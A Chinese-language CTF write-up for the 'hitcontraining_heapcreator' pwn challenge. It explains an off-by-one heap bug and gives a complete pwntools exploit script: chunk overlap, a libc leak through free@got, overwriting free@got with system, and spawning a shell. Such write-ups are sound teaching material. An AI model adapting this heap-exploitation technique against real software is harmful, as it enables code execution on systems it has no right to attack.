hitcontraining_heapcreator
使用checksec
查看:
开启了Canary和栈不可执行,没有开启PIE。
先运行一下看看:
看到菜单,堆题,放进IDA中查看:
分布来查看,首先是create_heap()
:
heaparray[i] = malloc(0x10uLL)
:创建用户所需chunk前程序会先创建一个0x10
大小的chunkv0[1] = malloc(size);
:程序所创建的chunk中存放了用户所创的chunk的地址
edit_heap()
:
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
:末尾多加了1
,明显的off-by-one
漏洞
show()
:
- 没啥问题,就显示出内容
delete_heap()
:
heaparray[v1] = 0LL;
指针清了,也没啥问题。
题目思路
- 全局看下来只存在了一个
off-by-one
漏洞。 - 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段。
- 从而构造fake_chunk 大小。
- 申请fake_chunk 大小
- 产生 chunk overlap,进而修改关键指针。
步骤解析
程序自动创建的chunk大小是
0x10
,所以本题我们也使用这个大小。
首先创建三个chunk
通过
off-by-one
修改chunk0,覆盖到程序创建的chunk1的size位
接着free掉chunk1
可以看到free掉的chunk进入了fastbin中的
0x80
位置,此时在申请一个0x70
大小的chunk,就能将这个0x80
块申请出来
此时chunk2的指针没有更改,系统创建的chunk2还是存放着用户创建的chunk2的地址
我们可以将该地址修改成
free@got
的地址,泄露出libc的地址。
接着修改chunk2,对应得就会修改
free@got
所指向的地址,将该地址修改成system
的地址调用
free
时,就会调用system
,前面已经将chunk0的内容改为/bin/sh
所以
free(0)
就会变成system('/bin/sh')
完整exp:
from pwn import *
#start
# r = remote('node4.buuoj.cn',29754)
r = process("../buu/hitcontraining_heapcreator")
elf = ELF("../buu/hitcontraining_heapcreator")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'
gdb.attach(r,"b *0x4008FA")
def add(size,content):
r.sendlineafter("choice :",'1')
r.sendlineafter("Heap : ",str(size))
r.sendlineafter("heap:",content)
def edit(idx,content):
r.sendlineafter("choice :",'2')
r.sendlineafter("Index :",str(idx))
r.sendlineafter("heap : ",content)
def show(idx):
r.sendlineafter("choice :",'3')
r.sendlineafter("Index :",str(idx))
def delete(idx):
r.sendlineafter("choice :",'4')
r.sendlineafter("Index :",str(idx))
#params
free_got = elf.got['free']
#attack
add(0x18,"MMMM")
add(0x10,"MMMM")
add(0x10,"MMMM")
# gdb.attach(r)
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
# gdb.attach(r)
delete(1)
add(0x70,p64(0)*8+p64(0x8)+p64(free_got))
show(2)
free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#libc
base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']
edit(2,p64(system_addr))
#gdb.attach(r)
delete(0)
r.interactive()